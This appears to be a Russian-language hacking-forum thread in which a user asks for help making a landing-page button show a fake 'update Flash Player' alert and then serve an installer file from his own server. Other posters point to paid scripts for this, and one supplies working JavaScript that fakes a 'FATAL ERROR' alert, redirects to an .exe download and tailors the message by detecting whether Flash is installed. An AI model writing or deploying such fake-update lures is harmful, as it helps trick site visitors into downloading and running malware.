Помогите с кнопкой на сайте

Matanbuchus · 30.09.2019

Вообщем есть кнопка на сайте вот её код

HTML:

<div class="call-to-action"><a href="https://google.com" class="buy-it-now"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>

при нажатии этой кнопки пользователя перебрасывает на сайт гугла.
Я хочу сделать так чтобы при нажатии на эту кнопку у человека на сайте выскакивало оповещение с тесктом "чтобы выполнить это действие нужно обновить флеш плеер) и если человек нажимал ОК то ему с сервера где находиться сайт подгружали файл флеш плеера. Буду очень благодарен если кто-то поможет в реализации так как в вебе особо не шарю.

Matanbuchus · 30.09.2019

Не кто не знает?

Matanbuchus · 30.09.2019

Ребят ну срочно надо но отзавитесь кто-нибудь!

pw0ned · 30.09.2019

прошу обратить внимание на готовые скрипты для таких целей

https://xss.pro/threads/32122/

по теме: гугли pop-up окна и их вывод, ничего сложного нету

Matanbuchus · 30.09.2019

pw0ned сказал(а):

прошу обратить внимание на готовые скрипты для таких целей

https://xss.pro/threads/32122/

по теме: гугли pop-up окна и их вывод, ничего сложного нету

Гугли код находил да только при внедрении в лейдинг происходит растягивание страницы в бок. Возможно проблемы с css/javascript .

А рекламировать свои скрипты мне здесь не надо покупать я их не буду а раздаешь ты их не бесплатно.

pw0ned · 30.09.2019

MasterVzloma сказал(а):

Гугли код находил да только при внедрении в лейдинг происходит растягивание страницы в бок. Возможно проблемы с css/javascript .

В примерах зачастую используют другие стили, которые могут влиять на ваши.

Можно подвинуть их с помощью position:relative и right/left:значение например.

Matanbuchus · 30.09.2019

pw0ned сказал(а):

В примерах зачастую используют другие стили, которые могут влиять на ваши.

Можно подвинуть их с помощью position:relative и right:значение например.

Это в джаваскипте или в css? Я честно не шарю.

pw0ned · 30.09.2019

MasterVzloma сказал(а):

Это в джаваскипте или в css? Я честно не шарю.

Это CSS

JS будет влиять на нажатие кнопки и выводить окно

Matanbuchus · 30.09.2019

pw0ned сказал(а):

Это CSS

JS будет влиять на нажатие кнопки и выводить окно

Понятно ладно сейчас посмотрю. Если в друг опять все будет у меня через опу то можно код скинуть в телеграмм?

pw0ned · 30.09.2019

MasterVzloma сказал(а):

Понятно ладно сейчас посмотрю. Если в друг опять все будет у меня через опу то можно код скинуть в телеграмм?

Это называется "сделай за меня"
Лучше немного погугли, посмотри примеры, попрактикуйся, почитай по поводу CSS и все сделаешь сам

Matanbuchus · 30.09.2019

pw0ned сказал(а):

Это называется "сделай за меня"
Лучше немного погугли, посмотри примеры, попрактикуйся, почитай по поводу CSS и все сделаешь сам

Это назваеться "я гуглил и нечего не нашел" у меня в файле нет даже приблизительно того что вы указали.

pw0ned · 30.09.2019

MasterVzloma сказал(а):

Это назваеться "я гуглил и нечего не нашел" у меня в файле нет даже приблизительно того что вы указали.

Так самому все это писать и нужно, задавать позицию и сдвигать уже куда нужно основной блок в котором разметка окна вывода.

Matanbuchus · 30.09.2019

Код если что.

CSS:

html, body {
  height: 80%;
}

body {
  background: #eee;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
}

.modal {
  width: 300px;
  background: white;
  border: 1px solid #ccc;
  -webkit-transition: 1.1s ease-out;
  transition: 1.1s ease-out;
  box-shadow: -2rem 2rem 2rem rgba(0, 0, 0, 0.2);
  -webkit-filter: blur(0);
          filter: blur(0);
  -webkit-transform: scale(1);
          transform: scale(1);
  opacity: 1;
  visibility: visible;
}
.modal.off {
  opacity: 0;
  visibility: hidden;
  -webkit-filter: blur(8px);
          filter: blur(8px);
  -webkit-transform: scale(0.33);
          transform: scale(0.33);
  box-shadow: 1rem 0 0 rgba(0, 0, 0, 0.2);
}
@supports (offset-rotation: 0deg) {
  .modal {
    offset-rotation: 0deg;
    offset-path: path("M 250,100 S -300,500 -700,-200");
  }
  .modal.off {
    offset-distance: 100%;
  }
}
@media (prefers-reduced-motion) {
  .modal {
    offset-path: none;
  }
}
.modal h2 {
  border-bottom: 1px solid #ccc;
  padding: 1rem;
  margin: 0;
}
.modal .content {
  padding: 1rem;
}
.modal .actions {
  border-top: 1px solid #ccc;
  background: #eee;
  padding: 0.5rem 1rem;
}
.modal .actions button {
  border: 0;
  background: #78f89f;
  border-radius: 5px;
  padding: 0.5rem 1rem;
  font-size: 0.8rem;
  line-height: 1;
}

#centered-toggle-button {
  position: absolute;
}

Ranzel · 30.09.2019

MasterVzloma сказал(а):
Вообщем есть кнопка на сайте вот её код
HTML:
<div class="call-to-action"><a href="https://google.com" class="buy-it-now"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>
при нажатии этой кнопки пользователя перебрасывает на сайт гугла.
Я хочу сделать так чтобы при нажатии на эту кнопку у человека на сайте выскакивало оповещение с тесктом "чтобы выполнить это действие нужно обновить флеш плеер) и если человек нажимал ОК то ему с сервера где находиться сайт подгружали файл флеш плеера. Буду очень благодарен если кто-то поможет в реализации так как в вебе особо не шарю.

Набросал простой код. Дальше сам изменишь

Код:

<div class="call-to-action"><a href="#" class="buy-it-now" OnClick="a();"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>
<script language="JavaScript">
function a()
{
var msg_text='FATAL ERROR: To perform this action you need to update Flash Player\n\nClick OK and download Installer update file.\n';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
</script>

Matanbuchus · 30.09.2019

Ranzel сказал(а):

Набросал простой код. Дальше сам изменишь

Код:

<div class="call-to-action"><a href="#" class="buy-it-now" OnClick="a();"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>
<script language="JavaScript">
function a()
{
var msg_text='FATAL ERROR: To perform this action you need to update Flash Player\n\nClick OK and download Installer update file.\n';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
</script>

Вот за это вам действительно спасибо от всей души! Удачи вам здоровья и счастья!

Matanbuchus · 30.09.2019

Ranzel сказал(а):

Набросал простой код. Дальше сам изменишь

Код:

<div class="call-to-action"><a href="#" class="buy-it-now" OnClick="a();"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>
<script language="JavaScript">
function a()
{
var msg_text='FATAL ERROR: To perform this action you need to update Flash Player\n\nClick OK and download Installer update file.\n';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
</script>

И можно еще вопрос как силами джаваскрипта определить установлен ли флеш или нет и если установлен то выводить сообщение о обновлении а если не установлен то сообщение о установке? То есть взависимости от установле/не установлен выводить разные сообщения?

Ranzel · 30.09.2019

MasterVzloma сказал(а):

И можно еще вопрос как силами джаваскрипта определить установлен ли флеш или нет и если установлен то выводить сообщение о обновлении а если не установлен то сообщение о установке? То есть взависимости от установле/не установлен выводить разные сообщения?

Как-то так

Код:

<div class="call-to-action"><a href="#" class="buy-it-now" OnClick="a();"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>   
<script type="text/javascript">
function checkFlash() {
    var flashinstalled = false;
    if (navigator.plugins) {
        if (navigator.plugins["Shockwave Flash"]) {
            flashinstalled = true;
        }
        else if (navigator.plugins["Shockwave Flash 2.0"]) {
            flashinstalled = true;
        }
    }
    else if (navigator.mimeTypes) {
        var x = navigator.mimeTypes['application/x-shockwave-flash'];
        if (x && x.enabledPlugin) {
            flashinstalled = true;
        }
    }
    else {
        flashinstalled = true;
    }
    return flashinstalled;
}

if (checkFlash()) {
function a()
{
var msg_text='Ошибка. Обновите Flash Player';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
} else {
function a()
{
var msg_text='Flash Player не установлен. Для скачивания нажмите OK';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
}
</script>

Matanbuchus · 01.10.2019

Ranzel сказал(а):

Как-то так

Код:

<div class="call-to-action"><a href="#" class="buy-it-now" OnClick="a();"><i class="icon-shopping-cart"></i> To look now it is free.</a></div>  
<script type="text/javascript">
function checkFlash() {
    var flashinstalled = false;
    if (navigator.plugins) {
        if (navigator.plugins["Shockwave Flash"]) {
            flashinstalled = true;
        }
        else if (navigator.plugins["Shockwave Flash 2.0"]) {
            flashinstalled = true;
        }
    }
    else if (navigator.mimeTypes) {
        var x = navigator.mimeTypes['application/x-shockwave-flash'];
        if (x && x.enabledPlugin) {
            flashinstalled = true;
        }
    }
    else {
        flashinstalled = true;
    }
    return flashinstalled;
}

if (checkFlash()) {
function a()
{
var msg_text='Ошибка. Обновите Flash Player';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
} else {
function a()
{
var msg_text='Flash Player не установлен. Для скачивания нажмите OK';alert(msg_text);
setTimeout("location.href = 'http://fpdownload.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe';", 1000);
}
}
</script>

Еще раз огромное спасибо)

Помогите с кнопкой на сайте

Matanbuchus

Princeps huius mundi

Matanbuchus

Princeps huius mundi

Matanbuchus

Princeps huius mundi

pw0ned

лучик света в грозовом небе

Matanbuchus

Princeps huius mundi

pw0ned

лучик света в грозовом небе

Matanbuchus

Princeps huius mundi

pw0ned

лучик света в грозовом небе

Matanbuchus

Princeps huius mundi

pw0ned

лучик света в грозовом небе

Matanbuchus

Princeps huius mundi

pw0ned

лучик света в грозовом небе

Matanbuchus

Princeps huius mundi

Ranzel

RAM

Matanbuchus

Princeps huius mundi

Matanbuchus

Princeps huius mundi

Ranzel

RAM

Matanbuchus

Princeps huius mundi